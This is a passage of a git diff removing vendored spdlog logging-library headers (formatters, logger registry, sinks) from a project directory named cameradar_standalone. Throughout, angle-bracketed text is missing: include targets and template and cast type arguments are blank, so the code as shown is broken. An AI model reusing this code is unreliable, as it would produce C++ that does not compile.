tm2.tm_sec && - tm1.tm_min == tm2.tm_min && - tm1.tm_hour == tm2.tm_hour && - tm1.tm_mday == tm2.tm_mday && - tm1.tm_mon == tm2.tm_mon && - tm1.tm_year == tm2.tm_year && - tm1.tm_isdst == tm2.tm_isdst); -} - -inline bool operator!=(const std::tm& tm1, const std::tm& tm2) -{ - return !(tm1 == tm2); -} - -#ifdef _WIN32 -inline const char* eol() -{ - return "\r\n"; -} -#else -constexpr inline const char* eol() -{ - return "\n"; -} -#endif - -#ifdef _WIN32 -inline unsigned short eol_size() -{ - return 2; -} -#else -constexpr inline unsigned short eol_size() -{ - return 1; -} -#endif - -//fopen_s on non windows for writing -inline int fopen_s(FILE** fp, const std::string& filename, const char* mode) -{ -#ifdef _WIN32 - *fp = _fsopen((filename.c_str()), mode, _SH_DENYWR); - return *fp == nullptr; -#else - *fp = fopen((filename.c_str()), mode); - return *fp == nullptr; -#endif - -} - - -//Return if file exists -inline bool file_exists(const std::string& filename) -{ -#ifdef _WIN32 - auto attribs = GetFileAttributesA(filename.c_str()); - return (attribs != INVALID_FILE_ATTRIBUTES && !(attribs & FILE_ATTRIBUTE_DIRECTORY)); -#elif __linux__ - struct stat buffer; - return (stat (filename.c_str(), &buffer) == 0); -#else - auto *file = fopen(filename.c_str(), "r"); - if (file != nullptr) - { - fclose(file); - return true; - } - return false; - -#endif - -} - -//Return utc offset in minutes or throw spdlog_ex on failure -inline int utc_minutes_offset(const std::tm& tm = details::os::localtime()) -{ - -#ifdef _WIN32 -#if _WIN32_WINNT < _WIN32_WINNT_WS08 - TIME_ZONE_INFORMATION tzinfo; - auto rv = GetTimeZoneInformation(&tzinfo); -#else - DYNAMIC_TIME_ZONE_INFORMATION tzinfo; - auto rv = GetDynamicTimeZoneInformation(&tzinfo); -#endif - if (rv == TIME_ZONE_ID_INVALID) - throw spdlog::spdlog_ex("Failed getting timezone info. Last error: " + GetLastError()); - - int offset = -tzinfo.Bias; - if (tm.tm_isdst) - offset -= tzinfo.DaylightBias; - else - offset -= tzinfo.StandardBias; - return offset; -#else - return static_cast(tm.tm_gmtoff / 60); -#endif -} - -//Return current thread id as size_t -//It exists because the std::this_thread::get_id() is much slower(espcially under VS 2013) -inline size_t thread_id() -{ -#ifdef _WIN32 - return static_cast(::GetCurrentThreadId()); -#elif __linux__ -# if defined(__ANDROID__) && defined(__ANDROID_API__) && (__ANDROID_API__ < 21) -# define SYS_gettid __NR_gettid -# endif - return static_cast(syscall(SYS_gettid)); -#else //Default to standard C++11 (OSX and other Unix) - return static_cast(std::hash()(std::this_thread::get_id())); -#endif - -} - -} //os -} //details -} //spdlog - - diff --git a/cameradar_standalone/include/spdlog/details/pattern_formatter_impl.h b/cameradar_standalone/include/spdlog/details/pattern_formatter_impl.h deleted file mode 100644 index 92ccc37..0000000 --- a/cameradar_standalone/include/spdlog/details/pattern_formatter_impl.h +++ /dev/null @@ -1,625 +0,0 @@ -// -// Copyright(c) 2015 Gabi Melman. -// Distributed under the MIT License (http://opensource.org/licenses/MIT) -// - -#pragma once - -#include -#include -#include -#include -#include - - -#include "../formatter.h" -#include "./log_msg.h" -#include "./os.h" - -namespace spdlog -{ -namespace details -{ -class flag_formatter -{ -public: - virtual ~flag_formatter() {} - virtual void format(details::log_msg& msg, const std::tm& tm_time) = 0; -}; - -/////////////////////////////////////////////////////////////////////// -// name & level pattern appenders -/////////////////////////////////////////////////////////////////////// -namespace -{ -class name_formatter :public flag_formatter -{ - void format(details::log_msg& msg, const std::tm&) override - { - msg.formatted << msg.logger_name; - } -}; -} - -// log level appender -class level_formatter :public flag_formatter -{ - void format(details::log_msg& msg, const std::tm&) override - { - msg.formatted << level::to_str(msg.level); - } -}; - -// short log level appender -class short_level_formatter :public flag_formatter -{ - void format(details::log_msg& msg, const std::tm&) override - { - msg.formatted << level::to_short_str(msg.level); - } -}; - -/////////////////////////////////////////////////////////////////////// -// Date time pattern appenders -/////////////////////////////////////////////////////////////////////// - -static const char* ampm(const tm& t) -{ - return t.tm_hour >= 12 ? "PM" : "AM"; -} - -static int to12h(const tm& t) -{ - return t.tm_hour > 12 ? t.tm_hour - 12 : t.tm_hour; -} - -//Abbreviated weekday name -static const std::string days[] { "Sun", "Mon", "Tue", "Wed", "Thu", "Fri", "Sat" }; -class a_formatter :public flag_formatter -{ - void format(details::log_msg& msg, const std::tm& tm_time) override - { - msg.formatted << days[tm_time.tm_wday]; - } -}; - -//Full weekday name -static const std::string full_days[] { "Sunday", "Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday" }; -class A_formatter :public flag_formatter -{ - void format(details::log_msg& msg, const std::tm& tm_time) override - { - msg.formatted << full_days[tm_time.tm_wday]; - } -}; - -//Abbreviated month -static const std::string months[] { "Jan", "Feb", "Mar", "Apr", "May", "June", "July", "Aug", "Sept", "Oct", "Nov", "Dec" }; -class b_formatter :public flag_formatter -{ - void format(details::log_msg& msg, const std::tm& tm_time) override - { - msg.formatted<< months[tm_time.tm_mon]; - } -}; - -//Full month name -static const std::string full_months[] { "January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December" }; -class B_formatter :public flag_formatter -{ - void format(details::log_msg& msg, const std::tm& tm_time) override - { - msg.formatted << full_months[tm_time.tm_mon]; - } -}; - - -//write 2 ints seperated by sep with padding of 2 -static fmt::MemoryWriter& pad_n_join(fmt::MemoryWriter& w, int v1, int v2, char sep) -{ - w << fmt::pad(v1, 2, '0') << sep << fmt::pad(v2, 2, '0'); - return w; -} - -//write 3 ints seperated by sep with padding of 2 -static fmt::MemoryWriter& pad_n_join(fmt::MemoryWriter& w, int v1, int v2, int v3, char sep) -{ - w << fmt::pad(v1, 2, '0') << sep << fmt::pad(v2, 2, '0') << sep << fmt::pad(v3, 2, '0'); - return w; -} - - -//Date and time representation (Thu Aug 23 15:35:46 2014) -class c_formatter :public flag_formatter -{ - void format(details::log_msg& msg, const std::tm& tm_time) override - { - msg.formatted << days[tm_time.tm_wday] << ' ' << months[tm_time.tm_mon] << ' ' << tm_time.tm_mday << ' '; - pad_n_join(msg.formatted, tm_time.tm_hour, tm_time.tm_min, tm_time.tm_sec, ':') << ' ' << tm_time.tm_year + 1900; - } -}; - - -// year - 2 digit -class C_formatter :public flag_formatter -{ - void format(details::log_msg& msg, const std::tm& tm_time) override - { - msg.formatted << fmt::pad(tm_time.tm_year % 100, 2, '0'); - } -}; - - - -// Short MM/DD/YY date, equivalent to %m/%d/%y 08/23/01 -class D_formatter :public flag_formatter -{ - void format(details::log_msg& msg, const std::tm& tm_time) override - { - pad_n_join(msg.formatted, tm_time.tm_mon + 1, tm_time.tm_mday, tm_time.tm_year % 100, '/'); - } -}; - - -// year - 4 digit -class Y_formatter :public flag_formatter -{ - void format(details::log_msg& msg, const std::tm& tm_time) override - { - msg.formatted << tm_time.tm_year + 1900; - } -}; - -// month 1-12 -class m_formatter :public flag_formatter -{ - void format(details::log_msg& msg, const std::tm& tm_time) override - { - msg.formatted << fmt::pad(tm_time.tm_mon + 1, 2, '0'); - } -}; - -// day of month 1-31 -class d_formatter :public flag_formatter -{ - void format(details::log_msg& msg, const std::tm& tm_time) override - { - msg.formatted << fmt::pad(tm_time.tm_mday, 2, '0'); - } -}; - -// hours in 24 format 0-23 -class H_formatter :public flag_formatter -{ - void format(details::log_msg& msg, const std::tm& tm_time) override - { - msg.formatted << fmt::pad(tm_time.tm_hour, 2, '0'); - } -}; - -// hours in 12 format 1-12 -class I_formatter :public flag_formatter -{ - void format(details::log_msg& msg, const std::tm& tm_time) override - { - msg.formatted << fmt::pad(to12h(tm_time), 2, '0'); - } -}; - -// minutes 0-59 -class M_formatter :public flag_formatter -{ - void format(details::log_msg& msg, const std::tm& tm_time) override - { - msg.formatted << fmt::pad(tm_time.tm_min, 2, '0'); - } -}; - -// seconds 0-59 -class S_formatter :public flag_formatter -{ - void format(details::log_msg& msg, const std::tm& tm_time) override - { - msg.formatted << fmt::pad(tm_time.tm_sec, 2, '0'); - } -}; - -// milliseconds -class e_formatter :public flag_formatter -{ - void format(details::log_msg& msg, const std::tm&) override - { - auto duration = msg.time.time_since_epoch(); - auto millis = std::chrono::duration_cast(duration).count() % 1000; - msg.formatted << fmt::pad(static_cast(millis), 3, '0'); - } -}; - -// microseconds -class f_formatter :public flag_formatter -{ - void format(details::log_msg& msg, const std::tm&) override - { - auto duration = msg.time.time_since_epoch(); - auto micros = std::chrono::duration_cast(duration).count() % 1000000; - msg.formatted << fmt::pad(static_cast(micros), 6, '0'); - } -}; - -// nanoseconds -class F_formatter :public flag_formatter -{ - void format(details::log_msg& msg, const std::tm&) override - { - auto duration = msg.time.time_since_epoch(); - auto ns = std::chrono::duration_cast(duration).count() % 1000000000; - msg.formatted << fmt::pad(static_cast(ns), 9, '0'); - } -}; - -// AM/PM -class p_formatter :public flag_formatter -{ - void format(details::log_msg& msg, const std::tm& tm_time) override - { - msg.formatted << ampm(tm_time); - } -}; - - -// 12 hour clock 02:55:02 pm -class r_formatter :public flag_formatter -{ - void format(details::log_msg& msg, const std::tm& tm_time) override - { - pad_n_join(msg.formatted, to12h(tm_time), tm_time.tm_min, tm_time.tm_sec, ':') << ' ' << ampm(tm_time); - } -}; - -// 24-hour HH:MM time, equivalent to %H:%M -class R_formatter :public flag_formatter -{ - void format(details::log_msg& msg, const std::tm& tm_time) override - { - pad_n_join(msg.formatted, tm_time.tm_hour, tm_time.tm_min, ':'); - } -}; - -// ISO 8601 time format (HH:MM:SS), equivalent to %H:%M:%S -class T_formatter :public flag_formatter -{ - void format(details::log_msg& msg, const std::tm& tm_time) override - { - pad_n_join(msg.formatted, tm_time.tm_hour, tm_time.tm_min, tm_time.tm_sec, ':'); - } -}; - - -// ISO 8601 offset from UTC in timezone (+-HH:MM) -class z_formatter :public flag_formatter -{ -public: - const std::chrono::seconds cache_refresh = std::chrono::seconds(5); - - z_formatter() :_last_update(std::chrono::seconds(0)) {} - z_formatter(const z_formatter&) = delete; - z_formatter& operator=(const z_formatter&) = delete; - - void format(details::log_msg& msg, const std::tm& tm_time) override - { -#ifdef _WIN32 - int total_minutes = get_cached_offset(msg, tm_time); -#else - // No need to chache under gcc, - // it is very fast (already stored in tm.tm_gmtoff) - int total_minutes = os::utc_minutes_offset(tm_time); -#endif - - int h = total_minutes / 60; - int m = total_minutes % 60; - if (h >= 0) //minus sign will be printed anyway if negative - { - msg.formatted << '+'; - } - pad_n_join(msg.formatted, h, m, ':'); - } -private: - log_clock::time_point _last_update; - int _offset_minutes; - std::mutex _mutex; - - int get_cached_offset(const log_msg& msg, const std::tm& tm_time) - { - using namespace std::chrono; - std::lock_guard l(_mutex); - if (msg.time - _last_update >= cache_refresh) - { - _offset_minutes = os::utc_minutes_offset(tm_time); - _last_update = msg.time; - } - return _offset_minutes; - } -}; - - - -//Thread id -class t_formatter :public flag_formatter -{ - void format(details::log_msg& msg, const std::tm&) override - { - msg.formatted << msg.thread_id; - } -}; - - -class v_formatter :public flag_formatter -{ - void format(details::log_msg& msg, const std::tm&) override - { - msg.formatted << fmt::StringRef(msg.raw.data(), msg.raw.size()); - } -}; - -class ch_formatter :public flag_formatter -{ -public: - explicit ch_formatter(char ch) : _ch(ch) - {} - void format(details::log_msg& msg, const std::tm&) override - { - msg.formatted << _ch; - } -private: - char _ch; -}; - - -//aggregate user chars to display as is -class aggregate_formatter :public flag_formatter -{ -public: - aggregate_formatter() - {} - void add_ch(char ch) - { - _str += ch; - } - void format(details::log_msg& msg, const std::tm&) override - { - msg.formatted << _str; - } -private: - std::string _str; -}; - -// Full info formatter -// pattern: [%Y-%m-%d %H:%M:%S.%e] [%n] [%l] %v -class full_formatter :public flag_formatter -{ - void format(details::log_msg& msg, const std::tm& tm_time) override - { -#ifndef SPDLOG_NO_DATETIME - auto duration = msg.time.time_since_epoch(); - auto millis = std::chrono::duration_cast(duration).count() % 1000; - - /* Slower version(while still very fast - about 3.2 million lines/sec under 10 threads), - msg.formatted.write("[{:d}-{:02d}-{:02d} {:02d}:{:02d}:{:02d}.{:03d}] [{}] [{}] {} ", - tm_time.tm_year + 1900, - tm_time.tm_mon + 1, - tm_time.tm_mday, - tm_time.tm_hour, - tm_time.tm_min, - tm_time.tm_sec, - static_cast(millis), - msg.logger_name, - level::to_str(msg.level), - msg.raw.str());*/ - - - // Faster (albeit uglier) way to format the line (5.6 million lines/sec under 10 threads) - msg.formatted << '[' << static_cast(tm_time.tm_year + 1900) << '-' - << fmt::pad(static_cast(tm_time.tm_mon + 1), 2, '0') << '-' - << fmt::pad(static_cast(tm_time.tm_mday), 2, '0') << ' ' - << fmt::pad(static_cast(tm_time.tm_hour), 2, '0') << ':' - << fmt::pad(static_cast(tm_time.tm_min), 2, '0') << ':' - << fmt::pad(static_cast(tm_time.tm_sec), 2, '0') << '.' - << fmt::pad(static_cast(millis), 3, '0') << "] "; - -//no datetime needed -#else - (void)tm_time; -#endif - -#ifndef SPDLOG_NO_NAME - msg.formatted << '[' << msg.logger_name << "] "; -#endif - - msg.formatted << '[' << level::to_str(msg.level) << "] "; - msg.formatted << fmt::StringRef(msg.raw.data(), msg.raw.size()); - } -}; - -} -} -/////////////////////////////////////////////////////////////////////////////// -// pattern_formatter inline impl -/////////////////////////////////////////////////////////////////////////////// -inline spdlog::pattern_formatter::pattern_formatter(const std::string& pattern) -{ - compile_pattern(pattern); -} - -inline void spdlog::pattern_formatter::compile_pattern(const std::string& pattern) -{ - auto end = pattern.end(); - std::unique_ptr user_chars; - for (auto it = pattern.begin(); it != end; ++it) - { - if (*it == '%') - { - if (user_chars) //append user chars found so far - _formatters.push_back(std::move(user_chars)); - - if (++it != end) - handle_flag(*it); - else - break; - } - else // chars not following the % sign should be displayed as is - { - if (!user_chars) - user_chars = std::unique_ptr(new details::aggregate_formatter()); - user_chars->add_ch(*it); - } - } - if (user_chars) //append raw chars found so far - { - _formatters.push_back(std::move(user_chars)); - } - -} -inline void spdlog::pattern_formatter::handle_flag(char flag) -{ - switch (flag) - { - // logger name - case 'n': - _formatters.push_back(std::unique_ptr(new details::name_formatter())); - break; - - case 'l': - _formatters.push_back(std::unique_ptr(new details::level_formatter())); - break; - - case 'L': - _formatters.push_back(std::unique_ptr(new details::short_level_formatter())); - break; - - case('t') : - _formatters.push_back(std::unique_ptr(new details::t_formatter())); - break; - - case('v') : - _formatters.push_back(std::unique_ptr(new details::v_formatter())); - break; - - case('a') : - _formatters.push_back(std::unique_ptr(new details::a_formatter())); - break; - - case('A') : - _formatters.push_back(std::unique_ptr(new details::A_formatter())); - break; - - case('b') : - case('h') : - _formatters.push_back(std::unique_ptr(new details::b_formatter())); - break; - - case('B') : - _formatters.push_back(std::unique_ptr(new details::B_formatter())); - break; - case('c') : - _formatters.push_back(std::unique_ptr(new details::c_formatter())); - break; - - case('C') : - _formatters.push_back(std::unique_ptr(new details::C_formatter())); - break; - - case('Y') : - _formatters.push_back(std::unique_ptr(new details::Y_formatter())); - break; - - case('D') : - case('x') : - - _formatters.push_back(std::unique_ptr(new details::D_formatter())); - break; - - case('m') : - _formatters.push_back(std::unique_ptr(new details::m_formatter())); - break; - - case('d') : - _formatters.push_back(std::unique_ptr(new details::d_formatter())); - break; - - case('H') : - _formatters.push_back(std::unique_ptr(new details::H_formatter())); - break; - - case('I') : - _formatters.push_back(std::unique_ptr(new details::I_formatter())); - break; - - case('M') : - _formatters.push_back(std::unique_ptr(new details::M_formatter())); - break; - - case('S') : - _formatters.push_back(std::unique_ptr(new details::S_formatter())); - break; - - case('e') : - _formatters.push_back(std::unique_ptr(new details::e_formatter())); - break; - - case('f') : - _formatters.push_back(std::unique_ptr(new details::f_formatter())); - break; - case('F') : - _formatters.push_back(std::unique_ptr(new details::F_formatter())); - break; - - case('p') : - _formatters.push_back(std::unique_ptr(new details::p_formatter())); - break; - - case('r') : - _formatters.push_back(std::unique_ptr(new details::r_formatter())); - break; - - case('R') : - _formatters.push_back(std::unique_ptr(new details::R_formatter())); - break; - - case('T') : - case('X') : - _formatters.push_back(std::unique_ptr(new details::T_formatter())); - break; - - case('z') : - _formatters.push_back(std::unique_ptr(new details::z_formatter())); - break; - - case ('+'): - _formatters.push_back(std::unique_ptr(new details::full_formatter())); - break; - - default: //Unkown flag appears as is - _formatters.push_back(std::unique_ptr(new details::ch_formatter('%'))); - _formatters.push_back(std::unique_ptr(new details::ch_formatter(flag))); - break; - } -} - - -inline void spdlog::pattern_formatter::format(details::log_msg& msg) -{ - try - { - auto tm_time = details::os::localtime(log_clock::to_time_t(msg.time)); - for (auto &f : _formatters) - { - f->format(msg, tm_time); - } - //write eol - msg.formatted << details::os::eol(); - } - catch(const fmt::FormatError& e) - { - throw spdlog_ex(fmt::format("formatting error while processing format string: {}", e.what())); - } -} diff --git a/cameradar_standalone/include/spdlog/details/registry.h b/cameradar_standalone/include/spdlog/details/registry.h deleted file mode 100644 index a26db79..0000000 --- a/cameradar_standalone/include/spdlog/details/registry.h +++ /dev/null @@ -1,162 +0,0 @@ -// -// Copyright(c) 2015 Gabi Melman. -// Distributed under the MIT License (http://opensource.org/licenses/MIT) -// - -#pragma once - -// Loggers registy of unique name->logger pointer -// An attempt to create a logger with an already existing name will be ignored -// If user requests a non existing logger, nullptr will be returned -// This class is thread safe - -#include -#include -#include -#include - -#include "./null_mutex.h" -#include "../logger.h" -#include "../async_logger.h" -#include "../common.h" - -namespace spdlog -{ -namespace details -{ -template class registry_t -{ -public: - - void register_logger(std::shared_ptr logger) - { - std::lock_guard lock(_mutex); - register_logger_impl(logger); - } - - - std::shared_ptr get(const std::string& logger_name) - { - std::lock_guard lock(_mutex); - auto found = _loggers.find(logger_name); - return found == _loggers.end() ? nullptr : found->second; - } - - template - std::shared_ptr create(const std::string& logger_name, const It& sinks_begin, const It& sinks_end) - { - - std::shared_ptr new_logger; - - std::lock_guard lock(_mutex); - - - if (_async_mode) - new_logger = std::make_shared(logger_name, sinks_begin, sinks_end, _async_q_size, _overflow_policy, _worker_warmup_cb, _flush_interval_ms); - else - new_logger = std::make_shared(logger_name, sinks_begin, sinks_end); - - if (_formatter) - new_logger->set_formatter(_formatter); - - new_logger->set_level(_level); - register_logger_impl(new_logger); - return new_logger; - } - - void drop(const std::string& logger_name) - { - std::lock_guard lock(_mutex); - _loggers.erase(logger_name); - } - - void drop_all() - { - std::lock_guard lock(_mutex); - _loggers.clear(); - } - std::shared_ptr create(const std::string& logger_name, sinks_init_list sinks) - { - return create(logger_name, sinks.begin(), sinks.end()); - } - - std::shared_ptr create(const std::string& logger_name, sink_ptr sink) - { - return create(logger_name, { sink }); - } - - - void formatter(formatter_ptr f) - { - std::lock_guard lock(_mutex); - _formatter = f; - for (auto& l : _loggers) - l.second->set_formatter(_formatter); - } - - void set_pattern(const std::string& pattern) - { - std::lock_guard lock(_mutex); - _formatter = std::make_shared(pattern); - for (auto& l : _loggers) - l.second->set_formatter(_formatter); - } - - void set_level(level::level_enum log_level) - { - std::lock_guard lock(_mutex); - for (auto& l : _loggers) - l.second->set_level(log_level); - _level = log_level; - } - - void set_async_mode(size_t q_size, const async_overflow_policy overflow_policy, const std::function& worker_warmup_cb, const std::chrono::milliseconds& flush_interval_ms) - { - std::lock_guard lock(_mutex); - _async_mode = true; - _async_q_size = q_size; - _overflow_policy = overflow_policy; - _worker_warmup_cb = worker_warmup_cb; - _flush_interval_ms = flush_interval_ms; - } - - void set_sync_mode() - { - std::lock_guard lock(_mutex); - _async_mode = false; - } - - static registry_t& instance() - { - static registry_t s_instance; - return s_instance; - } - -private: - void register_logger_impl(std::shared_ptr logger) - { - auto logger_name = logger->name(); - if (_loggers.find(logger_name) != std::end(_loggers)) - throw spdlog_ex("logger with name " + logger_name + " already exists"); - _loggers[logger->name()] = logger; - } - registry_t() {} - registry_t(const registry_t&) = delete; - registry_t& operator=(const registry_t&) = delete; - Mutex _mutex; - std::unordered_map > _loggers; - formatter_ptr _formatter; - level::level_enum _level = level::info; - bool _async_mode = false; - size_t _async_q_size = 0; - async_overflow_policy _overflow_policy = async_overflow_policy::block_retry; - std::function _worker_warmup_cb = nullptr; - std::chrono::milliseconds _flush_interval_ms; -}; -#ifdef SPDLOG_NO_REGISTRY_MUTEX -typedef registry_t registry; -#else -typedef registry_t registry; -#endif -} -} diff --git a/cameradar_standalone/include/spdlog/details/spdlog_impl.h b/cameradar_standalone/include/spdlog/details/spdlog_impl.h deleted file mode 100644 index 85a7dc1..0000000 --- a/cameradar_standalone/include/spdlog/details/spdlog_impl.h +++ /dev/null @@ -1,135 +0,0 @@ -// -// Copyright(c) 2015 Gabi Melman. -// Distributed under the MIT License (http://opensource.org/licenses/MIT) -// - -#pragma once - -// -// Global registry functions -// -#include "registry.h" -#include "../sinks/file_sinks.h" -#include "../sinks/stdout_sinks.h" -#include "../sinks/syslog_sink.h" - -inline void spdlog::register_logger(std::shared_ptr logger) -{ - return details::registry::instance().register_logger(logger); -} - -inline std::shared_ptr spdlog::get(const std::string& name) -{ - return details::registry::instance().get(name); -} - -inline void spdlog::drop(const std::string &name) -{ - details::registry::instance().drop(name); -} - -// Create multi/single threaded rotating file logger -inline std::shared_ptr spdlog::rotating_logger_mt(const std::string& logger_name, const std::string& filename, size_t max_file_size, size_t max_files, bool force_flush) -{ - return create(logger_name, filename, "txt", max_file_size, max_files, force_flush); -} - -inline std::shared_ptr spdlog::rotating_logger_st(const std::string& logger_name, const std::string& filename, size_t max_file_size, size_t max_files, bool force_flush) -{ - return create(logger_name, filename, "txt", max_file_size, max_files, force_flush); -} - -// Create file logger which creates new file at midnight): -inline std::shared_ptr spdlog::daily_logger_mt(const std::string& logger_name, const std::string& filename, int hour, int minute, bool force_flush) -{ - return create(logger_name, filename, "txt", hour, minute, force_flush); -} -inline std::shared_ptr spdlog::daily_logger_st(const std::string& logger_name, const std::string& filename, int hour, int minute, bool force_flush) -{ - return create(logger_name, filename, "txt", hour, minute, force_flush); -} - - -// Create stdout/stderr loggers -inline std::shared_ptr spdlog::stdout_logger_mt(const std::string& logger_name) -{ - return details::registry::instance().create(logger_name, spdlog::sinks::stdout_sink_mt::instance()); -} - -inline std::shared_ptr spdlog::stdout_logger_st(const std::string& logger_name) -{ - return details::registry::instance().create(logger_name, spdlog::sinks::stdout_sink_st::instance()); -} - -inline std::shared_ptr spdlog::stderr_logger_mt(const std::string& logger_name) -{ - return details::registry::instance().create(logger_name, spdlog::sinks::stderr_sink_mt::instance()); -} - -inline std::shared_ptr spdlog::stderr_logger_st(const std::string& logger_name) -{ - return details::registry::instance().create(logger_name, spdlog::sinks::stderr_sink_st::instance()); -} - -#ifdef __linux__ -// Create syslog logger -inline std::shared_ptr spdlog::syslog_logger(const std::string& logger_name, const std::string& syslog_ident, int syslog_option) -{ - return create(logger_name, syslog_ident, syslog_option); -} -#endif - - -//Create logger with multiple sinks - -inline std::shared_ptr spdlog::create(const std::string& logger_name, spdlog::sinks_init_list sinks) -{ - return details::registry::instance().create(logger_name, sinks); -} - - -template -inline std::shared_ptr spdlog::create(const std::string& logger_name, Args... args) -{ - sink_ptr sink = std::make_shared(args...); - return details::registry::instance().create(logger_name, { sink }); -} - - -template -inline std::shared_ptr spdlog::create(const std::string& logger_name, const It& sinks_begin, const It& sinks_end) -{ - return details::registry::instance().create(logger_name, sinks_begin, sinks_end); -} - -inline void spdlog::set_formatter(spdlog::formatter_ptr f) -{ - details::registry::instance().formatter(f); -} - -inline void spdlog::set_pattern(const std::string& format_string) -{ - return details::registry::instance().set_pattern(format_string); -} - -inline void spdlog::set_level(level::level_enum log_level) -{ - return details::registry::instance().set_level(log_level); -} - - -inline void spdlog::set_async_mode(size_t queue_size, const async_overflow_policy overflow_policy, const std::function& worker_warmup_cb, const std::chrono::milliseconds& flush_interval_ms) -{ - details::registry::instance().set_async_mode(queue_size, overflow_policy, worker_warmup_cb, flush_interval_ms); -} - -inline void spdlog::set_sync_mode() -{ - details::registry::instance().set_sync_mode(); -} - -inline void spdlog::drop_all() -{ - details::registry::instance().drop_all(); -} - diff --git a/cameradar_standalone/include/spdlog/formatter.h b/cameradar_standalone/include/spdlog/formatter.h deleted file mode 100644 index 1d12686..0000000 --- a/cameradar_standalone/include/spdlog/formatter.h +++ /dev/null @@ -1,35 +0,0 @@ -// -// Copyright(c) 2015 Gabi Melman. -// Distributed under the MIT License (http://opensource.org/licenses/MIT) -// - -#pragma once - -#include "details/log_msg.h" -namespace spdlog { -namespace details { -class flag_formatter; -} - -class formatter { -public: - virtual ~formatter() {} - virtual void format(details::log_msg& msg) = 0; -}; - -class pattern_formatter : public formatter { -public: - explicit pattern_formatter(const std::string& pattern); - pattern_formatter(const pattern_formatter&) = delete; - pattern_formatter& operator=(const pattern_formatter&) = delete; - void format(details::log_msg& msg) override; - -private: - const std::string _pattern; - std::vector> _formatters; - void handle_flag(char flag); - void compile_pattern(const std::string& pattern); -}; -} - -#include "details/pattern_formatter_impl.h" diff --git a/cameradar_standalone/include/spdlog/logger.h b/cameradar_standalone/include/spdlog/logger.h deleted file mode 100644 index baa1386..0000000 --- a/cameradar_standalone/include/spdlog/logger.h +++ /dev/null @@ -1,123 +0,0 @@ -// -// Copyright(c) 2015 Gabi Melman. -// Distributed under the MIT License (http://opensource.org/licenses/MIT) -// - -#pragma once - -// Thread safe logger -// Has name, log level, vector of std::shared sink pointers and formatter -// Upon each log write the logger: -// 1. Checks if its log level is enough to log the message -// 2. Format the message using the formatter function -// 3. Pass the formatted message to its sinks to performa the actual logging - -#include -#include -#include "sinks/base_sink.h" -#include "common.h" - -namespace spdlog { - -namespace details { -class line_logger; -} - -class logger { -public: - logger(const std::string& logger_name, sink_ptr single_sink); - logger(const std::string& name, sinks_init_list); - template - logger(const std::string& name, const It& begin, const It& end); - - virtual ~logger(); - logger(const logger&) = delete; - logger& operator=(const logger&) = delete; - - void set_level(level::level_enum); - level::level_enum level() const; - - const std::string& name() const; - bool should_log(level::level_enum) const; - - // logger.info(cppformat_string, arg1, arg2, arg3, ...) call style - template - details::line_logger trace(const char* fmt, const Args&... args); - template - details::line_logger debug(const char* fmt, const Args&... args); - template - details::line_logger info(const char* fmt, const Args&... args); - template - details::line_logger notice(const char* fmt, const Args&... args); - template - details::line_logger warn(const char* fmt, const Args&... args); - template - details::line_logger error(const char* fmt, const Args&... args); - template - details::line_logger critical(const char* fmt, const Args&... args); - template - details::line_logger alert(const char* fmt, const Args&... args); - template - details::line_logger emerg(const char* fmt, const Args&... args); - - // logger.info(msg) << ".." call style - template - details::line_logger trace(const T&); - template - details::line_logger debug(const T&); - template - details::line_logger info(const T&); - template - details::line_logger notice(const T&); - template - details::line_logger warn(const T&); - template - details::line_logger error(const T&); - template - details::line_logger critical(const T&); - template - details::line_logger alert(const T&); - template - details::line_logger emerg(const T&); - - // logger.info() << ".." call style - details::line_logger trace(); - details::line_logger debug(); - details::line_logger info(); - details::line_logger notice(); - details::line_logger warn(); - details::line_logger error(); - details::line_logger critical(); - details::line_logger alert(); - details::line_logger emerg(); - - // Create log message with the given level, no matter what is the actual logger's level - template - details::line_logger force_log(level::level_enum lvl, const char* fmt, const Args&... args); - - // Set the format of the log messages from this logger - void set_pattern(const std::string&); - void set_formatter(formatter_ptr); - - virtual void flush(); - -protected: - virtual void _log_msg(details::log_msg&); - virtual void _set_pattern(const std::string&); - virtual void _set_formatter(formatter_ptr); - details::line_logger _log_if_enabled(level::level_enum lvl); - template - details::line_logger - _log_if_enabled(level::level_enum lvl, const char* fmt, const Args&... args); - template - inline details::line_logger _log_if_enabled(level::level_enum lvl, const T& msg); - - friend details::line_logger; - std::string _name; - std::vector _sinks; - formatter_ptr _formatter; - std::atomic_int _level; -}; -} - -#include "./details/logger_impl.h" diff --git a/cameradar_standalone/include/spdlog/sinks/android_sink.h b/cameradar_standalone/include/spdlog/sinks/android_sink.h deleted file mode 100644 index 75e1cd0..0000000 --- a/cameradar_standalone/include/spdlog/sinks/android_sink.h +++ /dev/null @@ -1,67 +0,0 @@ -// -// Copyright(c) 2015 Gabi Melman. -// Distributed under the MIT License (http://opensource.org/licenses/MIT) -// - -#pragma once - -#if defined(__ANDROID__) - -#include -#include "base_sink.h" -#include "../details/null_mutex.h" - -#include - -namespace spdlog { -namespace sinks { -/* -* Android sink (logging using __android_log_write) -*/ -template -class base_android_sink : public base_sink { -public: - explicit base_android_sink(std::string tag = "spdlog") : _tag(tag) {} - - void - flush() override {} - -protected: - void - _sink_it(const details::log_msg& msg) override { - const android_LogPriority priority = convert_to_android(msg.level); - const int expected_size = msg.formatted.size(); - const int size = __android_log_write(priority, _tag.c_str(), msg.formatted.c_str()); - if (size > expected_size) { - // Will write a little bit more than original message - } else { - throw spdlog_ex("Send to Android logcat failed"); - } - } - -private: - static android_LogPriority - convert_to_android(spdlog::level::level_enum level) { - switch (level) { - case spdlog::level::trace: return ANDROID_LOG_VERBOSE; - case spdlog::level::debug: return ANDROID_LOG_DEBUG; - case spdlog::level::info: return ANDROID_LOG_INFO; - case spdlog::level::notice: return ANDROID_LOG_INFO; - case spdlog::level::warn: return ANDROID_LOG_WARN; - case spdlog::level::err: return ANDROID_LOG_ERROR; - case spdlog::level::critical: return ANDROID_LOG_FATAL; - case spdlog::level::alert: return ANDROID_LOG_FATAL; - case spdlog::level::emerg: return ANDROID_LOG_FATAL; - default: throw spdlog_ex("Incorrect level value"); - } - } - - std::string _tag; -}; - -typedef base_android_sink android_sink_mt; -typedef base_android_sink android_sink_st; -} -} - -#endif diff --git a/cameradar_standalone/include/spdlog/sinks/base_sink.h b/cameradar_standalone/include/spdlog/sinks/base_sink.h deleted file mode 100644 index 16f34e1..0000000 --- a/cameradar_standalone/include/spdlog/sinks/base_sink.h +++ /dev/null @@ -1,43 +0,0 @@ -// -// Copyright(c) 2015 